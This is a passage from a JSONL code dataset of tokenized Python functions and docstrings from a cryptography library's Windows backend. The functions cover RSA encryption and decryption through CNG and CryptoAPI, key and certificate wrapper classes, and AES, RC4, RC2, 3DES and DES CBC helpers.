certificate_or_public_key:\n    A Certificate or PublicKey instance to encrypt with\n\n:param data:\n    A byte string of the data to encrypt\n\n:param rsa_oaep_padding:\n    If OAEP padding should be used instead of PKCS#1 v1.5\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the ciphertext", "id": "f9489:m33"}
{"signature": "def _bcrypt_encrypt(certificate_or_public_key, data, rsa_oaep_padding=False):", "body": "flags = BcryptConst.BCRYPT_PAD_PKCS1<EOL>if rsa_oaep_padding is True:<EOL><INDENT>flags = BcryptConst.BCRYPT_PAD_OAEP<EOL>padding_info_struct_pointer = struct(bcrypt, '<STR_LIT>')<EOL>padding_info_struct = unwrap(padding_info_struct_pointer)<EOL>hash_buffer = buffer_from_unicode(BcryptConst.BCRYPT_SHA1_ALGORITHM)<EOL>padding_info_struct.pszAlgId = cast(bcrypt, '<STR_LIT>', hash_buffer)<EOL>padding_info_struct.pbLabel = null()<EOL>padding_info_struct.cbLabel = <NUM_LIT:0><EOL>padding_info = cast(bcrypt, '<STR_LIT>', padding_info_struct_pointer)<EOL><DEDENT>else:<EOL><INDENT>padding_info = null()<EOL><DEDENT>out_len = new(bcrypt, '<STR_LIT>')<EOL>res = bcrypt.BCryptEncrypt(<EOL>certificate_or_public_key.key_handle,<EOL>data,<EOL>len(data),<EOL>padding_info,<EOL>null(),<EOL><NUM_LIT:0>,<EOL>null(),<EOL><NUM_LIT:0>,<EOL>out_len,<EOL>flags<EOL>)<EOL>handle_error(res)<EOL>buffer_len = deref(out_len)<EOL>buffer = buffer_from_bytes(buffer_len)<EOL>res = bcrypt.BCryptEncrypt(<EOL>certificate_or_public_key.key_handle,<EOL>data,<EOL>len(data),<EOL>padding_info,<EOL>null(),<EOL><NUM_LIT:0>,<EOL>buffer,<EOL>buffer_len,<EOL>out_len,<EOL>flags<EOL>)<EOL>handle_error(res)<EOL>return bytes_from_buffer(buffer, deref(out_len))<EOL>", "docstring": "Encrypts a value using an RSA public key via CNG\n\n:param certificate_or_public_key:\n    A Certificate or PublicKey instance to encrypt with\n\n:param data:\n    A byte string of the data to encrypt\n\n:param rsa_oaep_padding:\n    If OAEP padding should be used instead of PKCS#1 v1.5\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the ciphertext", "id": "f9489:m34"}
{"signature": "def _decrypt(private_key, ciphertext, rsa_oaep_padding=False):", "body": "if not isinstance(private_key, PrivateKey):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(private_key)<EOL>))<EOL><DEDENT>if not isinstance(ciphertext, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(ciphertext)<EOL>))<EOL><DEDENT>if not isinstance(rsa_oaep_padding, bool):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(rsa_oaep_padding)<EOL>))<EOL><DEDENT>if _backend == '<STR_LIT>':<EOL><INDENT>return _advapi32_decrypt(private_key, ciphertext, rsa_oaep_padding)<EOL><DEDENT>return _bcrypt_decrypt(private_key, ciphertext, rsa_oaep_padding)<EOL>", "docstring": "Encrypts a value using an RSA private key\n\n:param private_key:\n    A PrivateKey instance to decrypt with\n\n:param ciphertext:\n    A byte string of the data to decrypt\n\n:param rsa_oaep_padding:\n    If OAEP padding should be used instead of PKCS#1 v1.5\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the plaintext", "id": "f9489:m35"}
{"signature": "def _advapi32_decrypt(private_key, ciphertext, rsa_oaep_padding=False):", "body": "flags = <NUM_LIT:0><EOL>if rsa_oaep_padding:<EOL><INDENT>flags = Advapi32Const.CRYPT_OAEP<EOL><DEDENT>ciphertext = ciphertext[::-<NUM_LIT:1>]<EOL>buffer = buffer_from_bytes(ciphertext)<EOL>out_len = new(advapi32, '<STR_LIT>', len(ciphertext))<EOL>res = advapi32.CryptDecrypt(<EOL>private_key.ex_key_handle,<EOL>null(),<EOL>True,<EOL>flags,<EOL>buffer,<EOL>out_len<EOL>)<EOL>handle_error(res)<EOL>return bytes_from_buffer(buffer, deref(out_len))<EOL>", "docstring": "Encrypts a value using an RSA private key via CryptoAPI\n\n:param private_key:\n    A PrivateKey instance to decrypt with\n\n:param ciphertext:\n    A byte string of the data to decrypt\n\n:param rsa_oaep_padding:\n    If OAEP padding should be used instead of PKCS#1 v1.5\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the plaintext", "id": "f9489:m36"}
{"signature": "def _bcrypt_decrypt(private_key, ciphertext, rsa_oaep_padding=False):", "body": "flags = BcryptConst.BCRYPT_PAD_PKCS1<EOL>if rsa_oaep_padding is True:<EOL><INDENT>flags = BcryptConst.BCRYPT_PAD_OAEP<EOL>padding_info_struct_pointer = struct(bcrypt, '<STR_LIT>')<EOL>padding_info_struct = unwrap(padding_info_struct_pointer)<EOL>hash_buffer = buffer_from_unicode(BcryptConst.BCRYPT_SHA1_ALGORITHM)<EOL>padding_info_struct.pszAlgId = cast(bcrypt, '<STR_LIT>', hash_buffer)<EOL>padding_info_struct.pbLabel = null()<EOL>padding_info_struct.cbLabel = <NUM_LIT:0><EOL>padding_info = cast(bcrypt, '<STR_LIT>', padding_info_struct_pointer)<EOL><DEDENT>else:<EOL><INDENT>padding_info = null()<EOL><DEDENT>out_len = new(bcrypt, '<STR_LIT>')<EOL>res = bcrypt.BCryptDecrypt(<EOL>private_key.key_handle,<EOL>ciphertext,<EOL>len(ciphertext),<EOL>padding_info,<EOL>null(),<EOL><NUM_LIT:0>,<EOL>null(),<EOL><NUM_LIT:0>,<EOL>out_len,<EOL>flags<EOL>)<EOL>handle_error(res)<EOL>buffer_len = deref(out_len)<EOL>buffer = buffer_from_bytes(buffer_len)<EOL>res = bcrypt.BCryptDecrypt(<EOL>private_key.key_handle,<EOL>ciphertext,<EOL>len(ciphertext),<EOL>padding_info,<EOL>null(),<EOL><NUM_LIT:0>,<EOL>buffer,<EOL>buffer_len,<EOL>out_len,<EOL>flags<EOL>)<EOL>handle_error(res)<EOL>return bytes_from_buffer(buffer, deref(out_len))<EOL>", "docstring": "Encrypts a value using an RSA private key via CNG\n\n:param private_key:\n    A PrivateKey instance to decrypt with\n\n:param ciphertext:\n    A byte string of the data to decrypt\n\n:param rsa_oaep_padding:\n    If OAEP padding should be used instead of PKCS#1 v1.5\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the plaintext", "id": "f9489:m37"}
{"signature": "def rsa_pkcs1v15_encrypt(certificate_or_public_key, data):", "body": "return _encrypt(certificate_or_public_key, data)<EOL>", "docstring": "Encrypts a byte string using an RSA public key or certificate. Uses PKCS#1\nv1.5 padding.\n\n:param certificate_or_public_key:\n    A PublicKey or Certificate object\n\n:param data:\n    A byte string, with a maximum length 11 bytes less than the key length\n    (in bytes)\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the encrypted data", "id": "f9489:m38"}
{"signature": "def rsa_pkcs1v15_decrypt(private_key, ciphertext):", "body": "return _decrypt(private_key, ciphertext)<EOL>", "docstring": "Decrypts a byte string using an RSA private key. Uses PKCS#1 v1.5 padding.\n\n:param private_key:\n    A PrivateKey object\n\n:param ciphertext:\n    A byte string of the encrypted data\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the original plaintext", "id": "f9489:m39"}
{"signature": "def rsa_oaep_encrypt(certificate_or_public_key, data):", "body": "return _encrypt(certificate_or_public_key, data, rsa_oaep_padding=True)<EOL>", "docstring": "Encrypts a byte string using an RSA public key or certificate. Uses PKCS#1\nOAEP padding with SHA1.\n\n:param certificate_or_public_key:\n    A PublicKey or Certificate object\n\n:param data:\n    A byte string, with a maximum length 41 bytes (or more) less than the\n    key length (in bytes)\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the encrypted data", "id": "f9489:m40"}
{"signature": "def rsa_oaep_decrypt(private_key, ciphertext):", "body": "return _decrypt(private_key, ciphertext, rsa_oaep_padding=True)<EOL>", "docstring": "Decrypts a byte string using an RSA private key. Uses PKCS#1 OAEP padding\nwith SHA1.\n\n:param private_key:\n    A PrivateKey object\n\n:param ciphertext:\n    A byte string of the encrypted data\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the original plaintext", "id": "f9489:m41"}
{"signature": "def __init__(self, key_handle, asn1):", "body": "self.key_handle = key_handle<EOL>self.asn1 = asn1<EOL>if _backend == '<STR_LIT>':<EOL><INDENT>self._lib = advapi32<EOL><DEDENT>else:<EOL><INDENT>self._lib = bcrypt<EOL><DEDENT>", "docstring": ":param key_handle:\n    A CNG BCRYPT_KEY_HANDLE value (Vista and newer) or an HCRYPTKEY\n    (XP and 2003) from loading/importing the key\n\n:param asn1:\n    An asn1crypto.keys.PrivateKeyInfo object", "id": "f9489:c0:m0"}
{"signature": "@property<EOL><INDENT>def algorithm(self):<DEDENT>", "body": "return self.asn1.algorithm<EOL>", "docstring": ":return:\n    A unicode string of \"rsa\", \"dsa\" or \"ec\"", "id": "f9489:c0:m1"}
{"signature": "@property<EOL><INDENT>def curve(self):<DEDENT>", "body": "return self.asn1.curve[<NUM_LIT:1>]<EOL>", "docstring": ":return:\n    A unicode string of EC curve name", "id": "f9489:c0:m2"}
{"signature": "@property<EOL><INDENT>def bit_size(self):<DEDENT>", "body": "return self.asn1.bit_size<EOL>", "docstring": ":return:\n    The number of bits in the key, as an integer", "id": "f9489:c0:m3"}
{"signature": "@property<EOL><INDENT>def byte_size(self):<DEDENT>", "body": "return self.asn1.byte_size<EOL>", "docstring": ":return:\n    The number of bytes in the key, as an integer", "id": "f9489:c0:m4"}
{"signature": "def __init__(self, key_handle, asn1):", "body": "PrivateKey.__init__(self, key_handle, asn1)<EOL>", "docstring": ":param key_handle:\n    A CNG BCRYPT_KEY_HANDLE value (Vista and newer) or an HCRYPTKEY\n    (XP and 2003) from loading/importing the key\n\n:param asn1:\n    An asn1crypto.keys.PublicKeyInfo object", "id": "f9489:c1:m0"}
{"signature": "def __init__(self, key_handle, asn1):", "body": "PublicKey.__init__(self, key_handle, asn1)<EOL>", "docstring": ":param key_handle:\n    A CNG BCRYPT_KEY_HANDLE value (Vista and newer) or an HCRYPTKEY\n    (XP and 2003) from loading/importing the certificate\n\n:param asn1:\n    An asn1crypto.x509.Certificate object", "id": "f9489:c2:m0"}
{"signature": "@property<EOL><INDENT>def algorithm(self):<DEDENT>", "body": "return self.asn1.public_key.algorithm<EOL>", "docstring": ":return:\n    A unicode string of \"rsa\", \"dsa\" or \"ec\"", "id": "f9489:c2:m1"}
{"signature": "@property<EOL><INDENT>def curve(self):<DEDENT>", "body": "return self.asn1.public_key.curve[<NUM_LIT:1>]<EOL>", "docstring": ":return:\n    A unicode string of EC curve name", "id": "f9489:c2:m2"}
{"signature": "@property<EOL><INDENT>def bit_size(self):<DEDENT>", "body": "return self.asn1.public_key.bit_size<EOL>", "docstring": ":return:\n    The number of bits in the key, as an integer", "id": "f9489:c2:m3"}
{"signature": "@property<EOL><INDENT>def byte_size(self):<DEDENT>", "body": "return self.asn1.public_key.byte_size<EOL>", "docstring": ":return:\n    The number of bytes in the key, as an integer", "id": "f9489:c2:m4"}
{"signature": "@property<EOL><INDENT>def self_signed(self):<DEDENT>", "body": "if self._self_signed is None:<EOL><INDENT>self._self_signed = False<EOL>if self.asn1.self_signed in set(['<STR_LIT:yes>', '<STR_LIT>']):<EOL><INDENT>signature_algo = self.asn1['<STR_LIT>'].signature_algo<EOL>hash_algo = self.asn1['<STR_LIT>'].hash_algo<EOL>if signature_algo == '<STR_LIT>':<EOL><INDENT>verify_func = rsa_pkcs1v15_verify<EOL><DEDENT>elif signature_algo == '<STR_LIT>':<EOL><INDENT>verify_func = dsa_verify<EOL><DEDENT>elif signature_algo == '<STR_LIT>':<EOL><INDENT>verify_func = ecdsa_verify<EOL><DEDENT>else:<EOL><INDENT>raise OSError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>signature_algo<EOL>))<EOL><DEDENT>try:<EOL><INDENT>verify_func(<EOL>self,<EOL>self.asn1['<STR_LIT>'].native,<EOL>self.asn1['<STR_LIT>'].dump(),<EOL>hash_algo<EOL>)<EOL>self._self_signed = True<EOL><DEDENT>except (SignatureError):<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>return self._self_signed<EOL>", "docstring": ":return:\n    A boolean - if the certificate is self-signed", "id": "f9489:c2:m5"}
{"signature": "def handle_error(result):", "body": "if result:<EOL><INDENT>return<EOL><DEDENT>_, error_string = get_error()<EOL>if not isinstance(error_string, str_cls):<EOL><INDENT>error_string = _try_decode(error_string)<EOL><DEDENT>raise OSError(error_string)<EOL>", "docstring": "Extracts the last Windows error message into a python unicode string\n\n:param result:\n    A function result, 0 or None indicates failure\n\n:return:\n    A unicode string error message", "id": "f9492:m0"}
{"signature": "def aes_cbc_no_padding_encrypt(key, data, iv):", "body": "if len(key) not in [<NUM_LIT:16>, <NUM_LIT>, <NUM_LIT:32>]:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if not iv:<EOL><INDENT>iv = rand_bytes(<NUM_LIT:16>)<EOL><DEDENT>elif len(iv) != <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>if len(data) % <NUM_LIT:16> != <NUM_LIT:0>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(data)<EOL>))<EOL><DEDENT>return (iv, _encrypt('<STR_LIT>', key, data, iv, False))<EOL>", "docstring": "Encrypts plaintext using AES in CBC mode with a 128, 192 or 256 bit key and\nno padding. This means the ciphertext must be an exact multiple of 16 bytes\nlong.\n\n:param key:\n    The encryption key - a byte string either 16, 24 or 32 bytes long\n\n:param data:\n    The plaintext - a byte string\n\n:param iv:\n    The initialization vector - either a byte string 16-bytes long or None\n    to generate an IV\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A tuple of two byte strings (iv, ciphertext)", "id": "f9494:m0"}
{"signature": "def aes_cbc_no_padding_decrypt(key, data, iv):", "body": "if len(key) not in [<NUM_LIT:16>, <NUM_LIT>, <NUM_LIT:32>]:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if len(iv) != <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>return _decrypt('<STR_LIT>', key, data, iv, False)<EOL>", "docstring": "Decrypts AES ciphertext in CBC mode using a 128, 192 or 256 bit key and no\npadding.\n\n:param key:\n    The encryption key - a byte string either 16, 24 or 32 bytes long\n\n:param data:\n    The ciphertext - a byte string\n\n:param iv:\n    The initialization vector - a byte string 16-bytes long\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the plaintext", "id": "f9494:m1"}
{"signature": "def aes_cbc_pkcs7_encrypt(key, data, iv):", "body": "if len(key) not in [<NUM_LIT:16>, <NUM_LIT>, <NUM_LIT:32>]:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if not iv:<EOL><INDENT>iv = rand_bytes(<NUM_LIT:16>)<EOL><DEDENT>elif len(iv) != <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>return (iv, _encrypt('<STR_LIT>', key, data, iv, True))<EOL>", "docstring": "Encrypts plaintext using AES in CBC mode with a 128, 192 or 256 bit key and\nPKCS#7 padding.\n\n:param key:\n    The encryption key - a byte string either 16, 24 or 32 bytes long\n\n:param data:\n    The plaintext - a byte string\n\n:param iv:\n    The initialization vector - either a byte string 16-bytes long or None\n    to generate an IV\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A tuple of two byte strings (iv, ciphertext)", "id": "f9494:m2"}
{"signature": "def aes_cbc_pkcs7_decrypt(key, data, iv):", "body": "if len(key) not in [<NUM_LIT:16>, <NUM_LIT>, <NUM_LIT:32>]:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if len(iv) != <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>return _decrypt('<STR_LIT>', key, data, iv, True)<EOL>", "docstring": "Decrypts AES ciphertext in CBC mode using a 128, 192 or 256 bit key\n\n:param key:\n    The encryption key - a byte string either 16, 24 or 32 bytes long\n\n:param data:\n    The ciphertext - a byte string\n\n:param iv:\n    The initialization vector - a byte string 16-bytes long\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the plaintext", "id": "f9494:m3"}
{"signature": "def rc4_encrypt(key, data):", "body": "if len(key) < <NUM_LIT:5> or len(key) > <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>return _encrypt('<STR_LIT>', key, data, None, None)<EOL>", "docstring": "Encrypts plaintext using RC4 with a 40-128 bit key\n\n:param key:\n    The encryption key - a byte string 5-16 bytes long\n\n:param data:\n    The plaintext - a byte string\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the ciphertext", "id": "f9494:m4"}
{"signature": "def rc4_decrypt(key, data):", "body": "if len(key) < <NUM_LIT:5> or len(key) > <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>return _decrypt('<STR_LIT>', key, data, None, None)<EOL>", "docstring": "Decrypts RC4 ciphertext using a 40-128 bit key\n\n:param key:\n    The encryption key - a byte string 5-16 bytes long\n\n:param data:\n    The ciphertext - a byte string\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the plaintext", "id": "f9494:m5"}
{"signature": "def rc2_cbc_pkcs5_encrypt(key, data, iv):", "body": "if len(key) < <NUM_LIT:5> or len(key) > <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if not iv:<EOL><INDENT>iv = rand_bytes(<NUM_LIT:8>)<EOL><DEDENT>elif len(iv) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>return (iv, _encrypt('<STR_LIT>', key, data, iv, True))<EOL>", "docstring": "Encrypts plaintext using RC2 with a 64 bit key\n\n:param key:\n    The encryption key - a byte string 8 bytes long\n\n:param data:\n    The plaintext - a byte string\n\n:param iv:\n    The 8-byte initialization vector to use - a byte string - set as None\n    to generate an appropriate one\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A tuple of two byte strings (iv, ciphertext)", "id": "f9494:m6"}
{"signature": "def rc2_cbc_pkcs5_decrypt(key, data, iv):", "body": "if len(key) < <NUM_LIT:5> or len(key) > <NUM_LIT:16>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if len(iv) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>return _decrypt('<STR_LIT>', key, data, iv, True)<EOL>", "docstring": "Decrypts RC2 ciphertext using a 64 bit key\n\n:param key:\n    The encryption key - a byte string 8 bytes long\n\n:param data:\n    The ciphertext - a byte string\n\n:param iv:\n    The initialization vector used for encryption - a byte string\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the plaintext", "id": "f9494:m7"}
{"signature": "def tripledes_cbc_pkcs5_encrypt(key, data, iv):", "body": "if len(key) != <NUM_LIT:16> and len(key) != <NUM_LIT>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if not iv:<EOL><INDENT>iv = rand_bytes(<NUM_LIT:8>)<EOL><DEDENT>elif len(iv) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>cipher = '<STR_LIT>'<EOL>if len(key) == <NUM_LIT:16>:<EOL><INDENT>cipher = '<STR_LIT>'<EOL><DEDENT>return (iv, _encrypt(cipher, key, data, iv, True))<EOL>", "docstring": "Encrypts plaintext using 3DES in either 2 or 3 key mode\n\n:param key:\n    The encryption key - a byte string 16 or 24 bytes long (2 or 3 key mode)\n\n:param data:\n    The plaintext - a byte string\n\n:param iv:\n    The 8-byte initialization vector to use - a byte string - set as None\n    to generate an appropriate one\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A tuple of two byte strings (iv, ciphertext)", "id": "f9494:m8"}
{"signature": "def tripledes_cbc_pkcs5_decrypt(key, data, iv):", "body": "if len(key) != <NUM_LIT:16> and len(key) != <NUM_LIT>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if len(iv) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>cipher = '<STR_LIT>'<EOL>if len(key) == <NUM_LIT:16>:<EOL><INDENT>cipher = '<STR_LIT>'<EOL><DEDENT>return _decrypt(cipher, key, data, iv, True)<EOL>", "docstring": "Decrypts 3DES ciphertext in either 2 or 3 key mode\n\n:param key:\n    The encryption key - a byte string 16 or 24 bytes long (2 or 3 key mode)\n\n:param data:\n    The ciphertext - a byte string\n\n:param iv:\n    The initialization vector used for encryption - a byte string\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the plaintext", "id": "f9494:m9"}
{"signature": "def des_cbc_pkcs5_encrypt(key, data, iv):", "body": "if len(key) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if not iv:<EOL><INDENT>iv = rand_bytes(<NUM_LIT:8>)<EOL><DEDENT>elif len(iv) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>return (iv, _encrypt('<STR_LIT>', key, data, iv, True))<EOL>", "docstring": "Encrypts plaintext using DES with a 56 bit key\n\n:param key:\n    The encryption key - a byte string 8 bytes long (includes error\n    correction bits)\n\n:param data:\n    The plaintext - a byte string\n\n:param iv:\n    The 8-byte initialization vector to use - a byte string - set as None\n    to generate an appropriate one\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A tuple of two byte strings (iv, ciphertext)", "id": "f9494:m10"}
{"signature": "def des_cbc_pkcs5_decrypt(key, data, iv):", "body": "if len(key) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(key)<EOL>))<EOL><DEDENT>if len(iv) != <NUM_LIT:8>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>len(iv)<EOL>))<EOL><DEDENT>return _decrypt('<STR_LIT>', key, data, iv, True)<EOL>", "docstring": "Decrypts DES ciphertext using a 56 bit key\n\n:param key:\n    The encryption key - a byte string 8 bytes long (includes error\n    correction bits)\n\n:param data:\n    The ciphertext - a byte string\n\n:param iv:\n    The initialization vector used for encryption - a byte string\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the plaintext", "id": "f9494:m11"}
{"signature": "def _advapi32_create_handles(cipher, key, iv):", "body": "context_handle = None<EOL>if cipher == '<STR_LIT>':<EOL><INDENT>algorithm_id = {<EOL><NUM_LIT:16>: Advapi32Const.CALG_AES_128,<EOL><NUM_LIT>: Advapi32Const.CALG_AES_192,<EOL><NUM_LIT:32>: Advapi32Const.CALG_AES_256,<EOL>}[len(key)]<EOL><DEDENT>else:<EOL><INDENT>algorithm_id = {<EOL>'<STR_LIT>': Advapi32Const.CALG_DES,<EOL>'<STR_LIT>': Advapi32Const.CALG_3DES_112,<EOL>'<STR_LIT>': Advapi32Const.CALG_3DES,<EOL>'<STR_LIT>': Advapi32Const.CALG_RC2,<EOL>'<STR_LIT>': Advapi32Const.CALG_RC4,<EOL>}[cipher]<EOL><DEDENT>provider = Advapi32Const.MS_ENH_RSA_AES_PROV<EOL>context_handle = open_context_handle(provider, verify_only=False)<EOL>blob_header_pointer = struct(advapi32, '<STR_LIT>')<EOL>blob_header = unwrap(blob_header_pointer)<EOL>blob_header.bType = Advapi32Const.PLAINTEXTKEYBLOB<EOL>blob_header.bVersion = Advapi32Const.CUR_BLOB_VERSION<EOL>blob_header.reserved = <NUM_LIT:0><EOL>blob_header.aiKeyAlg = algorithm_id<EOL>blob_struct_pointer = struct(advapi32, '<STR_LIT>')<EOL>blob_struct = unwrap(blob_struct_pointer)<EOL>blob_struct.hdr = blob_header<EOL>blob_struct.dwKeySize = len(key)<EOL>blob = struct_bytes(blob_struct_pointer) + key<EOL>flags = <NUM_LIT:0><EOL>if cipher in set(['<STR_LIT>', '<STR_LIT>']) and len(key) == <NUM_LIT:5>:<EOL><INDENT>flags = Advapi32Const.CRYPT_NO_SALT<EOL><DEDENT>key_handle_pointer = new(advapi32, '<STR_LIT>')<EOL>res = advapi32.CryptImportKey(<EOL>context_handle,<EOL>blob,<EOL>len(blob),<EOL>null(),<EOL>flags,<EOL>key_handle_pointer<EOL>)<EOL>handle_error(res)<EOL>key_handle = unwrap(key_handle_pointer)<EOL>if cipher == '<STR_LIT>':<EOL><INDENT>buf = new(advapi32, '<STR_LIT>', len(key) * <NUM_LIT:8>)<EOL>res = advapi32.CryptSetKeyParam(<EOL>key_handle,<EOL>Advapi32Const.KP_EFFECTIVE_KEYLEN,<EOL>buf,<EOL><NUM_LIT:0><EOL>)<EOL>handle_error(res)<EOL><DEDENT>if cipher != '<STR_LIT>':<EOL><INDENT>res = advapi32.CryptSetKeyParam(<EOL>key_handle,<EOL>Advapi32Const.KP_IV,<EOL>iv,<EOL><NUM_LIT:0><EOL>)<EOL>handle_error(res)<EOL>buf = new(advapi32, '<STR_LIT>', Advapi32Const.CRYPT_MODE_CBC)<EOL>res = advapi32.CryptSetKeyParam(<EOL>key_handle,<EOL>Advapi32Const.KP_MODE,<EOL>buf,<EOL><NUM_LIT:0><EOL>)<EOL>handle_error(res)<EOL>buf = new(advapi32, '<STR_LIT>', Advapi32Const.PKCS5_PADDING)<EOL>res = advapi32.CryptSetKeyParam(<EOL>key_handle,<EOL>Advapi32Const.KP_PADDING,<EOL>buf,<EOL><NUM_LIT:0><EOL>)<EOL>handle_error(res)<EOL><DEDENT>return (context_handle, key_handle)<EOL>", "docstring": "Creates an HCRYPTPROV and HCRYPTKEY for symmetric encryption/decryption. The\nHCRYPTPROV must be released by close_context_handle() and the\nHCRYPTKEY must be released by advapi32.CryptDestroyKey() when done.\n\n:param cipher:\n    A unicode string of \"aes\", \"des\", \"tripledes_2key\", \"tripledes_3key\",\n    \"rc2\", \"rc4\"\n\n:param key:\n    A byte string of the symmetric key\n\n:param iv:\n    The initialization vector - a byte string - unused for RC4\n\n:return:\n    A tuple of (HCRYPTPROV, 